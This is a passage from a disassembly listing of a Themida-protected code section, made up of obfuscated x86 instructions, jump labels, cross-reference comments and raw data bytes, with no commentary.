XREF: Themida_:0054E81Bj mov ecx, 3C116D60h jmp loc_54EC97 ; --------------------------------------------------------------------------- dd 0FFE9F101h db 75h, 2 dup(0) byte_5466F3 db 64h ; DATA XREF: Themida_:005444A0o dd 68028B66h, 473Dh, 89241489h, 2854E9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546706: ; CODE XREF: Themida_:0054C207j mov dh, 1Fh add bl, dh pop edx push dx jmp loc_5458C9 ; --------------------------------------------------------------------------- loc_546712: ; CODE XREF: Themida_:0054E486j pop ebp not ebp xchg ebp, ecx inc ecx sub esp, 4 mov [esp], ebx mov ebx, 0A7FE1AC0h xor ecx, ebx pop ebx mov esi, ecx pop ecx and eax, esi push dword ptr [esp] pop esi add esp, 4 shr eax, 0Bh xor ecx, eax push ebx push ecx mov ecx, 79511BADh sub [esp+4], ecx pop ecx push dword ptr [esp] pop eax push eax mov eax, esp add eax, 4 push ebp push edi jmp loc_54A726 ; --------------------------------------------------------------------------- dw 0C147h dd 814F02EFh, 356402F7h, 0E9FB8958h, 21ACh dword_546768 dd 240C8B66h, 7A516853h, 24890000h, 24048124h, 4, 0FFF5D2E9h ; DATA XREF: Themida_:00544630o dd 2CD028FFh, 1BD16893h, 8BE90000h db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54678F: ; CODE XREF: Themida_:0054AD2Fj shr eax, 2 add eax, 0C1EEE2DEh xor edx, eax jmp loc_54779B ; --------------------------------------------------------------------------- loc_54679E: ; CODE XREF: Themida_:00547445j push edi mov edi, 0F8C3E1Eh push 53BFh mov [esp], esi mov esi, 0 sub esi, edi xchg esi, edi jmp loc_546598 ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 0EC810000h, 4, 0B9240C89h, 2, 7C08C281h, 0CA014B3Eh dd 7C08BB53h, 0DA294B3Eh, 81241C8Bh, 4C4h, 49B0E900h, 8B560000h dd 0C483240Ch, 2C815104h, 0EE73CF24h, 0C2815A44h, 44EE73CFh dd 0A772E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54680A: ; CODE XREF: Themida_:00547DF8j and eax, ecx pop ecx shr eax, 10h xor eax, ecx push eax xchg ecx, [esp] xchg edi, ecx not edi xchg edi, ecx xchg ecx, [esp] jmp loc_545B95 ; --------------------------------------------------------------------------- loc_546824: ; CODE XREF: Themida_:0054C81Fj xor dword ptr [esp], 651B6445h pop ecx push ebx jmp loc_54D961 ; --------------------------------------------------------------------------- dw 0A004h dd offset dword_439A38+3B1h db 0 ; --------------------------------------------------------------------------- loc_546839: ; CODE XREF: Themida_:005492FEj push edi mov edi, 4 mov ebp, edi jmp loc_54F15A ; --------------------------------------------------------------------------- dw 0DE68h dd 8900006Dh, 0E954242Ch, 4880h, 5C24048Fh, 0FF2434FFh dd 48B2434h, 4C48324h, 81E68956h, 4C6h, 4C68100h, 87000000h dd 565C2434h, 4EC81h, 24890000h, 24048124h, 4, 4C6815Eh dd 83000000h, 1EE904C6h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546897: ; CODE XREF: Themida_:0054F225j push edi mov edi, 5B033CB4h add ecx, 7A236832h add ecx, edi sub ecx, 7A236832h pop edi xor ecx, 57D18136h push ecx pop eax pop ecx add eax, edx xor ecx, [eax] jmp loc_548F52 ; --------------------------------------------------------------------------- aDXsbz db ')D$',8,'Xéb§',0 align 4 dd 0E95BF920h, 6106h dword_5468D0 dd 0E904EC83h, 0FFFFFB5Bh, 0E9A1B652h, 7F66h ; DATA XREF: Themida_:005444F8o ; --------------------------------------------------------------------------- loc_5468E0: ; CODE XREF: Themida_:00550EC8j pop esp mov [esp], eax not dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_550E73 ; --------------------------------------------------------------------------- dw 3BB8h dd 8926B36Ah, 0E811E9C6h, 815BFFFFh, 4C3h, 94B85000h, 0C100CF30h dd 73E906E8h, 81000038h, 4ECh, 240C8900h, 5DBCE9h, 62596800h dd 0F7E90000h, 89000034h, 0F365E9E0h, 15CFFFFh, 0CD685FF9h dd 89000057h, 4BE2434h, 81000000h, 0FF582FE9h, 53F10110h dd 5BC3E9h, 9DF78100h, 8144CB19h, 0CD8163C7h, 8BFD297Ch dd 0C481243Ch, 4, 4210FF2Dh, 5E82937h, 374210FFh, 27B1055Dh dd 0DDE96FE6h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54697F: ; CODE XREF: Themida_:00548F9Aj not edi xchg eax, edi xchg eax, esi push 73BEh jmp loc_54A25A ; --------------------------------------------------------------------------- db 2Dh, 34h, 29h dd 0DDE93BB2h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546997: ; CODE XREF: Themida_:005492A2j shr esi, 2 not esi sub esi, 2F496802h add esi, 4B9C147Fh xor esi, 91A13350h add ebp, esi pop esi jmp loc_54B0F6 ; --------------------------------------------------------------------------- dw 468h dd 8B4E1655h, 0C483242Ch, 5DE90104h, 6250BB53h, 0D9211E29h dd 7C3DE9h, 5BD93000h, 0C8BC800h, 4C48124h, 0E9000000h dd 719Ch, 3C8BF801h, 4C48324h, 4BA52h, 0D0010000h, 2404335Ah dd 33240431h, 248B2404h, 2434FF24h, 582434FFh, 2404E9h db 0 ; --------------------------------------------------------------------------- loc_546A0D: ; CODE XREF: Themida_:00549AA6j mov edx, esp add edx, 4 push eax jmp loc_544896 ; --------------------------------------------------------------------------- db 1 dd 27BD55D8h, 10A9C56h, 0BD555DE8h, 76B035E1h, 0FFEDAAE9h dd 24248BFFh, 8F240489h, 48B4047h, 69B6824h, 2C890000h dd 68E58924h, 76C0h, 0EBDE9h db 0 ; --------------------------------------------------------------------------- loc_546A51: ; CODE XREF: Themida_:0054E3CFj xor edi, edx xchg edi, [esp] push dword ptr [esp] jmp loc_55062C ; --------------------------------------------------------------------------- dw 8166h dd 0E9BFC9EAh, 562h, 0D65EF281h, 0ED812DD9h, 3AE023B6h dd 54E9D501h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546A7B: ; CODE XREF: Themida_:0054E112j shr ecx, 0 jmp loc_545541 ; --------------------------------------------------------------------------- aXs2o db 'Xé2o',0 dd 6EEC100h, 24E9D6F7h db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546A93: ; CODE XREF: Themida_:0054801Ej mov ebx, 1A9542D5h sub ebx, 3F337A4Bh neg ebx inc ebx dec ebx jmp loc_54B2B1 ; --------------------------------------------------------------------------- loc_546AA7: ; CODE XREF: Themida_:005489AFj add edi, 56242A5Bh sub edi, 48FD5CD8h add edi, ecx push edx push 700A15FDh pop edx and edx, 2CB17DA9h neg edx jmp loc_547454 ; --------------------------------------------------------------------------- dd offset loc_40F367+1 align 2 dw 1C89h dd 0E1885124h, 34FFCF88h, 0C4815924h, 4, 0E95BF988h, 0FFFFF48Ah ; --------------------------------------------------------------------------- loc_546AE8: ; CODE XREF: Themida_:00547227j pop ebx push dword ptr [esp] mov ecx, [esp] jmp loc_5509D0 ; --------------------------------------------------------------------------- loc_546AF4: ; CODE XREF: Themida_:00545F4Cj push esp pop ecx add ecx, 4 jmp loc_5453AE ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 8BE90000h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546B0B: ; CODE XREF: Themida_:00546000j push edi mov edi, 4914787Ch mov ecx, edi jmp loc_5488D6 ; --------------------------------------------------------------------------- dd 0E5C1D5F7h, 0A4CD8107h, 45086646h, 3FA3E9h, 0EE815F00h dd 0FFFFFFFFh, 6803EEC1h, 3030h, 0F7243489h, 555E2414h dd 9453E9h, 33C30D00h, 57483E69h, 420ADFBFh, 0AEF7816Ch dd 813CCA12h, 7D1B20F7h, 0C3C7816Bh, 815F2673h, 0B8674DC7h dd 27C7812Dh, 2969A282h, 7AC7E9F8h db 2 dup(0) word_546B76 dw 8B66h ; DATA XREF: Themida_:0054451Co dd 58682404h, 0E900000Eh, 0FFFFFA00h, 0D9F180h, 240C8BCBh dd 8004C483h, 0BB53B1C3h, 38h, 2D72BF57h, 0C7810689h, 6C3C1158h dd 4E9DFF7h db 98h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546BAB: ; CODE XREF: Themida_:00548ED2j mov ecx, 0B1DEC25Fh sub ecx, 5730742Bh add ecx, esi add ecx, 5730742Bh pop esi sub esp, 4 mov [esp], ecx pop esi pop ecx add ebp, esi pop esi xchg ebp, [esp] mov esp, [esp] dec byte ptr [esp] pushf jmp loc_5446A7 ; --------------------------------------------------------------------------- db 59h, 0E9h, 88h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546BDF: ; CODE XREF: Themida_:00547480j not dword ptr [esp] pop ebp add ebp, 0AAB0C258h jmp loc_545CC5 ; --------------------------------------------------------------------------- dw 8F54h dd 72E92404h, 8100006Eh, 0D106E3EAh, 5AD08908h, 58ACB951h dd 2CE9155Fh db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546C0B: ; CODE XREF: Themida_:00544B71j mov [esp], eax jmp loc_5446A7 ; --------------------------------------------------------------------------- db 83h dd 2C3304C4h, 5243E924h, 2A680000h, 89000015h, 268241Ch dd 5B000000h, 31B8E9h db 0 ; --------------------------------------------------------------------------- loc_546C31: ; CODE XREF: Themida_:0054BC1Bj push dword ptr [esp+4] mov ebx, [esp] add esp, 4 jmp loc_547A35 ; --------------------------------------------------------------------------- loc_546C40: ; CODE XREF: Themida_:0055051Dj push ebx mov bh, 0E1h push eax mov al, 0D0h add bh, al jmp loc_549B47 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 4C481h, 0C7810000h, 4, 2C781h, 3C870000h, 0B8E95C24h dd 89000034h, 4C681E6h, 0E9000000h, 9025h, 4C681h, 0EE830000h dd 74FF5602h, 8F5E0424h, 0E95C2404h, 1244h ; --------------------------------------------------------------------------- loc_546C90: ; CODE XREF: Themida_:0054E6F8j push 6150042Ah jmp loc_54B72A ; --------------------------------------------------------------------------- dw 0E968h dd 89000069h, 74FF2414h, 8F5A0424h, 248B2404h, 0E9F76624h dd 7736866h, 899CE9h db 0 ; --------------------------------------------------------------------------- loc_546CB9: ; CODE XREF: Themida_:005449BFj shr ecx, 7 jmp loc_545C6D ; --------------------------------------------------------------------------- db 0F6h, 0D1h, 86h dd 7E2C0CAh, 49B55166h, 5966EA30h, 25047404h, 0A511E9h db 0 ; --------------------------------------------------------------------------- loc_546CD9: ; CODE XREF: Themida_:0054C4CEj mov [esp], ebp jmp loc_54E680 ; --------------------------------------------------------------------------- loc_546CE1: ; CODE XREF: Themida_:0054FDACj xor edi, [esp] jmp loc_547D60 ; --------------------------------------------------------------------------- byte_546CE9 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005443DCo dd 0D359669Dh, 0E99C241Ch, 0FFFFD9AFh dword_546CF8 dd 24048B66h, 8904EC83h, 0FF542404h, 83582434h, 0BF5704C4h ; DATA XREF: Themida_:0054449Co dd 4, 525FF801h, 8904EC83h, 2B82404h, 89000000h, 24048BC2h dd 4C481h, 0C5E90000h, 5C000093h, 9C240CD3h, 0FFD96EE9h db 0FFh byte_546D39 db 8Fh, 47h, 40h ; DATA XREF: Themida_:0054462Co dd 0FFD966E9h db 0FFh ; --------------------------------------------------------------------------- loc_546D41: ; CODE XREF: Themida_:00549C9Dj add eax, ebp pop ebp jmp loc_54D10F ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 8B2434FFh, 0C483240Ch, 78E95304h, 89FFFFDDh, 4BE56E5h dd 1000000h, 0E9525EF5h, 9EB7h, 52E9CAFEh, 54000013h, 86B8505Dh dd 40272329h, 0FFDAFEE9h db 0FFh byte_546D81 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054463Co dd 5624048Bh, 0C681E689h, 4, 4BF57h, 0FE010000h, 2434875Fh dd 72A6685Ch, 14890000h, 81E28924h, 4C2h, 4B85000h, 1000000h dd 24048BC2h, 6804C483h, 5C2Fh, 0FF241489h, 8B042474h dd 0C4832414h, 24048F04h, 8A39E95Ch db 2 dup(0) word_546DD6 dw 8B66h ; DATA XREF: Themida_:00544458o dd 8950240Ch, 405E0h, 47E90000h, 89000088h, 65E9240Ch db 3Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_546DEF: ; CODE XREF: Themida_:0054A054j sub esp, 4 mov [esp], ebp mov ebp, 693F002Bh sub eax, ebp mov ebp, [esp] jmp loc_54E89A ; --------------------------------------------------------------------------- loc_546E07: ; CODE XREF: Themida_:0054ED44j push dword ptr [esp] jmp loc_546FF6 ; --------------------------------------------------------------------------- db 81h dd 745BC1F5h, 7E5C12Ah, 2F2CF581h, 81457BF8h, 87590EC5h dd 0FDC58119h, 89612A85h, 0C2815DEAh, 0AAE47E6h, 0EA81FA01h dd 0AAE47E6h, 3DB8505Fh, 0E91D2479h, 9CA7h ; --------------------------------------------------------------------------- loc_546E48: ; CODE XREF: Themida_:0054531Fj pop ecx dec ebx push eax mov eax, 7A931CBEh neg eax push edi jmp loc_548B9A ; --------------------------------------------------------------------------- loc_546E58: ; CODE XREF: Themida_:0054E37Cj pop eax jmp loc_548C0A ; --------------------------------------------------------------------------- loc_546E5E: ; CODE XREF: Themida_:0054F6EDj sub dword ptr [esp+4], 695B3C66h push eax jmp loc_550D32 ; --------------------------------------------------------------------------- dd 221068h, 24348900h, 0E3FE9h, 0C88EB800h, 14E9EFBFh dd 54000042h, 81241C8Bh, 4C4h, 4C38100h, 83000000h, 0FF5304EBh dd 0E9042474h, 3EA7h, 0C1FFEF83h, 226807E7h, 0E9000065h dd 5112h, 66565366h, 667E92BEh, 0DEF76646h, 55F68166h dd 0EE816655h, 81663E5Dh, 666CBCC6h, 0E95EF389h, 21E8h dd 0E959EA88h, 1D47h, 0C681E689h, 4, 51C4E9h, 24C18100h dd 89406452h, 240C8BCBh, 4C481h, 83430000h, 3C8904ECh dd 4C18BF24h, 0C3811ED9h, 4A3D4868h, 1B7C381h, 68E9764Ah dd 29FFFFDFh, 0C0C181E9h, 5D391D79h, 4051C181h, 0BA521E80h dd 7D933982h, 0BDE9D121h db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_546F33: ; CODE XREF: Themida_:0054791Dj xor eax, ebx mov ebx, [esp] jmp loc_5458DC ; --------------------------------------------------------------------------- loc_546F3D: ; CODE XREF: Themida_:0055048Bj mov edi, 506319BFh shr edi, 5 xor edi, 1C3B69F2h sub edi, 213873CEh sub edi, 0A8B19B2Fh sub dword ptr [esp+4], 3CEA301Fh sub [esp+4], edi add dword ptr [esp+4], 3CEA301Fh pop edi pop ecx push ebx push edx jmp loc_54F5F2 ; --------------------------------------------------------------------------- dd 0F8CCE958h, 8B54FFFFh, 0C4832414h, 4C28104h, 50000000h dd 7A57E9h, 9ABD5500h, 15C1015h, 8F665DEBh, 1FA5E900h dd 56500000h, 8D3032BEh, 81E6D159h, 0E7005BEEh, 0C6814E19h dd 512C091Bh, 5B95146h, 299B19EAh, 11F0E9CEh, 34870000h dd 0E585E924h, 166FFFFh, 31665AD1h, 0A3E9E9C8h, 14890000h dd 0E9E28924h, 5A46h ; --------------------------------------------------------------------------- loc_546FE0: ; CODE XREF: Themida_:0054CD9Bj add eax, ebx pop ebx jmp loc_54CA3D ; --------------------------------------------------------------------------- loc_546FE8: ; CODE XREF: Themida_:005473CEj dec ebp xor ebp, 2893C2ADh dec ebp push eax jmp loc_54F49E ; --------------------------------------------------------------------------- loc_546FF6: ; CODE XREF: Themida_:00546E0Aj pop edx push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_549649 ; --------------------------------------------------------------------------- dd 5BE9DF01h, 87000002h, 6EF468EBh, 0C890000h, 69F3B924h dd 0C181032Eh, 1BBB27E8h, 578E9h, 0E9DA8700h, 0FFFFF4E5h dd 0CA0AF181h, 0CA01B613h, 83240C8Bh, 0EB8104C4h, 2229196Fh dd 0C381D301h, 2229196Fh, 0E924148Bh, 2DDh, 3AA5C381h dd 0CB81227Ch, 11AA515Bh, 5731F381h, 0DD31818Dh, 5DE8295Bh dd 83241C8Bh, 0BF5704C4h, 339B5363h, 44F7814Fh, 0F70D2F2Eh dd 0DFF747D7h, 0DED0E950h, 0DF29FFFFh, 243C875Bh, 4EA4E9h dd 243C8900h, 0C781E789h, 4, 286EE955h db 2 dup(0) word_5470A6 dw 68h ; DATA XREF: Themida_:005443F0o dd 0FF000000h, 4EE92434h, 80000064h, 0C380A8EBh, 80C328C7h dd 0FF68C7EBh, 8900001Fh, 5253240Ch, 0D388ACB2h, 27C3805Ah dd 8008E3C0h, 5052F9C3h, 88DE8852h, 24148BF0h, 0E904C483h dd 25F6h, 74FF535Dh, 98E90424h, 55000048h, 6C33E952h, 0E95E0000h dd 51AAh, 4AC78059h, 9BD5E9h, 0E9595A00h, 3A87h, 0D591E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547116: ; CODE XREF: Themida_:005453CFj pop esi not ebp inc ebp add ebp, 609C2EFAh sub esp, 4 mov [esp], edx mov edx, 1BCF601h jmp loc_549931 ; --------------------------------------------------------------------------- dword_547130 dd 0E92C77FFh, 0FFFFD56Fh, 0E95EF531h, 7B74h, 8DCCE95Fh ; DATA XREF: Themida_:00544528o dd 0F6810000h, 68637557h, 0FFF308E9h, 4C483FFh, 33242C31h dd 2C31242Ch, 0D7DBE924h, 0F581FFFFh, 38BC00E2h, 97B9E9h dd 44686600h, 0D82EE93Eh, 0CF89FFFFh, 6E7C159h, 6A72BA52h dd 0CA813E99h, 5E3100CAh, 6A25F281h, 0EA816AE3h, 2C361FA7h dd 8106EAC1h, 4D6E0ACAh, 9F2816Ah, 0E923B9D3h, 22Bh, 4C6815Eh dd 50000000h, 11CBE9h, 24148B00h, 0E904C483h, 0FFFFF173h dd 0D788CA88h, 5958595Ah, 2DFAE9h, 2B900h, 56E90000h, 6600004Dh dd 83240C89h, 0DE904ECh db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5471E3: ; CODE XREF: Themida_:0054DA64j add [esp+4], ebp pop ebp mov eax, [esp] push ebx jmp loc_547E97 ; --------------------------------------------------------------------------- dd offset loc_411A65+3 align 2 dw 0B7E9h dd 1000006h, 1DC681D6h, 813E3814h, 0D71DAEC6h, 0C6835A64h dd 24348702h, 78AFE9h db 0 ; --------------------------------------------------------------------------- loc_547215: ; CODE XREF: Themida_:0054BC0Fj pop esp jmp loc_54BA8D ; --------------------------------------------------------------------------- loc_54721B: ; CODE XREF: Themida_:00548C1Ej add ecx, edi push ebx mov ebx, 0 add ebx, ecx add [ebx], edx jmp loc_546AE8 ; --------------------------------------------------------------------------- dd 4EC81h, 1C890000h, 56BD5524h, 89474E2Eh, 0EBC15DEBh dd 6E3C105h, 0F381DBF7h, 1F25376Eh, 1C0AE9h, 99CE8100h dd 814D3A75h, 0E905C2F6h, 39F68131h, 29CE16F8h, 131AE9F0h dd 835B0000h, 3C8704EFh, 1C895C24h, 0E95B5424h, 0FB1h ; --------------------------------------------------------------------------- loc_54727C: ; CODE XREF: Themida_:00544B97j neg ebx inc ebx jmp loc_54C732 ; --------------------------------------------------------------------------- loc_547284: ; CODE XREF: Themida_:005477AAj sub edi, ebp pop ebp jmp loc_54DD12 ; --------------------------------------------------------------------------- a1Sp db '1Ðé~',0 dw 8100h dd 0D1FB5CC6h, 5EF03126h, 32F7E9h db 0 ; --------------------------------------------------------------------------- loc_5472A1: ; CODE XREF: Themida_:00547B25j pop ebx sub ch, ah pop eax jmp loc_5484CE ; --------------------------------------------------------------------------- loc_5472AA: ; CODE XREF: Themida_:0054F705j jmp loc_5446A7 ; --------------------------------------------------------------------------- db 50h dd 1FE93BB4h, 8900005Ch, 4EC81E5h, 89000000h, 89E9243Ch dd 81000028h, 2147B2CDh, 5415E956h, 0D0E90000h, 1FFFFD3h dd 4875DE8h, 34FF5C24h, 0E9525824h, 3B56h, 4EC8150h, 89000000h dd 4812424h, 424h, 0BE565800h, 4, 815EF001h, 4ECh, 7DBAE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54730E: ; CODE XREF: Themida_:00549D14j add bh, 9Bh not bh or bh, 57h jmp loc_547B1D ; --------------------------------------------------------------------------- byte_54731B db 8Bh ; DATA XREF: Themida_:0054447Co dd 0E9562404h, 0FFFFD657h, 0FF2345BAh, 0EAD14A5Ah, 4B75E9h dd 4C48100h, 83000000h, 1C8702C3h, 24248B24h, 24048B66h dd 68E5E956h, 34330000h, 24248B24h, 614E9h, 0D34DE900h dd 0D388FFFFh, 0FFDFFEE9h, 697668FFh, 2C890000h, 0E0895024h dd 405h, 42D00h, 4870000h, 24895C24h, 24048324h, 3C39E904h dd 0F9870000h, 1C781h, 0F9870000h, 0E05EE981h, 0CB01A6F5h dd 241C3359h, 33241C31h, 0E95C241Ch, 4542h ; --------------------------------------------------------------------------- loc_5473A8: ; CODE XREF: Themida_:00548A3Aj push ebp mov ebp, 4 push esi mov esi, 3688724Bh dec esi xor esi, 4EA34373h add edx, esi jmp loc_548172 ; --------------------------------------------------------------------------- loc_5473C2: ; CODE XREF: Themida_:005502AEj sub ebp, 61605108h add ebp, 404D58B5h jmp loc_546FE8 ; --------------------------------------------------------------------------- db 29h dd 0DFF75AD7h, 7F24E781h, 0DFF743ECh, 0EEF8F781h, 0F901FF33h dd 240C875Fh, 0B4FE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5473F2: ; CODE XREF: Themida_:0054C0EBj pop ecx dec esi sub esi, 4DBF408Ah sub esi, 381D596Bh xor esi, 87D09519h mov ebp, esi pop esi jmp loc_54CA1E ; --------------------------------------------------------------------------- dw 0E281h dd 24AD0C50h, 4A76E281h, 0A5E90F6Dh, 8100007Fh, 0BD6153C6h dd 4EEC179h, 6B2FE9h db 0 ; --------------------------------------------------------------------------- loc_54742D: ; CODE XREF: Themida_:0054F21Aj pop esp push ecx mov ecx, 362C7927h sub ecx, 6BE81DF2h not ecx dec ecx push edx mov edx, 5B076EDCh neg edx jmp loc_54679E ; --------------------------------------------------------------------------- dw 0EEC1h dd 0E9DEF706h, 4566h ; --------------------------------------------------------------------------- loc_547454: ; CODE XREF: Themida_:00546AC4j push eax jmp loc_5446EB ; --------------------------------------------------------------------------- loc_54745A: ; CODE XREF: Themida_:0054D5E1j mov ah, 54h jmp loc_54DFD3 ; --------------------------------------------------------------------------- db 5, 6Ch, 79h dd 0F00100E5h, 558A68h, 242C8900h, 257969BDh, 3EDC116h dd 46E9D5F7h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54747F: ; CODE XREF: Themida_:005461ADj push ebp jmp loc_546BDF ; --------------------------------------------------------------------------- db 51h, 0B9h, 0E6h dd 0C1552223h, 0C98107E9h, 57106FEh, 8923E9h, 0E9E18800h dd 66FAh, 2404875Dh, 8851535Ch, 0CC8850C1h, 52E18851h dd 0FFFD0BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5474B5: ; CODE XREF: Themida_:0054A98Bj sub eax, 4 xchg eax, [esp] pop esp jmp loc_54B7AF ; --------------------------------------------------------------------------- loc_5474C3: ; CODE XREF: Themida_:00545B98j mov eax, [esp] add esp, 4 push esi mov esi, esp jmp loc_54CFD0 ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 6624248Bh, 68240C8Bh, 62B4h, 83240489h, 248904ECh, 6939E924h db 2 dup(0) word_5474EE dw 48Bh ; DATA XREF: Themida_:00544578o aHQ db '$hÅQ',0 align 2 dw 1489h aSI db '$é<‰',0 align 2 loc_5474FE: ; CODE XREF: Themida_:0054937Fj push edx mov edx, esp jmp loc_550EB9 ; --------------------------------------------------------------------------- dw 489h aAP db '$´>€ÃP',0 db 0E3h dd 8B50EB80h, 0C4832404h, 50C30004h, 0D8F697B0h, 78E9D504h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_547527: ; CODE XREF: Themida_:00550B3Cj mov al, 0F5h inc al xor al, 0C4h jmp loc_54F5E7 ; --------------------------------------------------------------------------- loc_547532: ; CODE XREF: Themida_:0054E8A1j add esp, 4 sub esp, 4 mov [esp], ebx push edx mov edx, 6DCD035Ch add edx, 411E5FDCh xor edx, 26D25D91h jmp loc_5455F7 ; --------------------------------------------------------------------------- byte_547555 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00544608o db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 7E5B2837h sub ecx, 560F657Ah xor ecx, 72506813h sub ecx, 5A1BAAAAh jmp loc_5462CE ; --------------------------------------------------------------------------- byte_547579 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00544604o db '$h#+',0 align 2 dw 489h dd 48B5424h, 4C48124h, 57000000h, 0CF6F36BFh, 0BB53474Eh dd 217A1334h, 0FFE462E9h, 1C181FFh, 0E952A553h, 8F9Fh ; --------------------------------------------------------------------------- loc_5475AC: ; CODE XREF: Themida_:0054B6A0j mov esi, 46C02724h jmp loc_54BCB3 ; --------------------------------------------------------------------------- loc_5475B6: ; CODE XREF: Themida_:0054AF59j add dl, ah pop eax shl dl, 4 jmp loc_54C21B ; --------------------------------------------------------------------------- loc_5475C1: ; CODE XREF: Themida_:005509CBj xor ebp, edx pop edx or ebp, 43CC447Eh sub ebp, 0F7ED6DFDh and eax, ebp push dword ptr [esp] pop ebp push edi jmp loc_5462B7 ; --------------------------------------------------------------------------- dd 515BDE01h, 0FFFBE8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5475E5: ; CODE XREF: Themida_:0054CD09j pop ax push ecx inc byte ptr [esp+1] pop ecx push edx mov dh, 51h sub dh, 0E2h neg dh jmp loc_547EF2 ; --------------------------------------------------------------------------- dw 0A30Fh dd 0E99C2404h, 8C88h ; --------------------------------------------------------------------------- loc_547604: ; CODE XREF: Themida_:0054A9DEj sub bl, al pop eax sub bl, ch push ecx push ebx jmp loc_54A5C0 ; --------------------------------------------------------------------------- dd 0CCFEC4FEh, 28BDC480h, 0D88858E3h, 0DF17E95Bh, 74FFFFFFh dd 4CE90424h, 0BB00009Bh, 7E331FEFh, 1FEBF381h, 0DF297E33h dd 243C875Bh, 475FE9h, 4C48300h, 89CD8955h, 2D595DEAh dd 6D493A2Eh, 0D272612Dh, 5D02915h, 15D27261h, 5CBD5557h dd 56111012h, 0C073A0BEh, 6F6812Ch, 21359F53h, 0C5815EF5h dd 5C393A2Ah, 15DEF89h, 243C8BF8h, 5FAAE9h, 0C1D2F700h dd 814204EAh, 0FAAD3C2h, 14F2E9F9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547696: ; CODE XREF: Themida_:0054797Ej add eax, 436F2271h add eax, ecx jmp loc_54EA0A ; --------------------------------------------------------------------------- dw 2C33h dd 2CD35C24h, 0F8E99C24h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5476AF: ; CODE XREF: Themida_:0054C1DEj mov esi, esp push eax mov eax, 657234B3h or eax, 3FC52B9Eh push ebx mov ebx, 0B7E4B1Ch sub ebx, 365F27E8h or ebx, 0AEC510Eh jmp loc_545AC4 ; --------------------------------------------------------------------------- db 89h dd 8BB1240Ch, 8957D1F6h, 4C781E7h, 83000000h, 0F4E904EFh dd 81000078h, 9B772AE9h, 0E9CB2990h, 51F2h, 99BF575Eh dd 57147A49h, 141A24BFh, 5FFD2966h, 0C581FD01h, 66141A24h dd 81243C8Bh, 4C4h, 15BD5500h, 5742CE72h, 3A4E9h db 0 ; --------------------------------------------------------------------------- loc_547725: ; CODE XREF: Themida_:00547DA2j ; Themida_:loc_54B0FDj ... push dword ptr [esp] jmp loc_54C84F ; --------------------------------------------------------------------------- db 5Bh, 59h, 0E9h dd 11D5h, 8141D1F7h, 88CB57E9h, 59CD011Fh, 1C75E9h, 66D32800h dd 5AEB805Ah, 0E958EB80h, 45FBh, 4C481h, 48E90000h, 81FFFFCFh dd 4C2h, 24148700h, 24048F5Ch, 8B24248Bh, 0F6E92404h, 9000006h dd 0E9591C4Fh, 46Bh, 81D5F75Dh, 5ABB98F5h, 5DEA8997h, 5434E9h db 0 ; --------------------------------------------------------------------------- loc_547791: ; CODE XREF: Themida_:00550B96j mov ecx, 57A16F0h jmp loc_54B400 ; --------------------------------------------------------------------------- loc_54779B: ; CODE XREF: Themida_:00546799j pop eax add edi, edx mov edx, [esp] add esp, 4 push ebp mov ebp, 56242A5Bh jmp loc_547284 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 4EC8304h, 89241489h, 0BB5350E2h, 60580E28h dd 6E57BD55h, 0EB01CEEBh, 8BD8895Dh, 0CFE9241Ch, 0F7FFFFD0h dd 0EB0FE9D3h, 895CFFFFh, 74FF2434h, 0C2E90424h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5477EB: ; CODE XREF: Themida_:005500EFj add eax, ebx pop ebx jmp loc_54C47C ; --------------------------------------------------------------------------- loc_5477F3: ; CODE XREF: Themida_:005486CDj mov cl, 7Eh jmp loc_54CD72 ; --------------------------------------------------------------------------- dw 0E2C1h dd 7CB95104h, 29C29748h, 0D30159CAh, 5A2434FFh, 81E78957h dd 4C7h, 4C78300h, 5C243C87h, 0E9h, 4EC8300h, 0BD242C89h dd 2, 0FFD2AFE9h, 0C14158FFh, 0AEE908E9h, 80FFFFF6h, 0FA208AEFh dd 0E9CA865Bh, 0FFFFF479h ; --------------------------------------------------------------------------- loc_547848: ; CODE XREF: Themida_:0054D690j mov ebx, [esp] add esp, 4 jmp loc_54D600 ; --------------------------------------------------------------------------- db 58h dd 88D48850h, 505A58E1h, 0FFCEBCE9h, 24048FFFh, 7576E9h dd 52D80100h, 536D5EBAh, 0EA814272h, 0FF96502h, 0DBE9DAF7h dd 4900004Ah, 0FFFEAFE9h db 0FFh ; --------------------------------------------------------------------------- loc_547885: ; 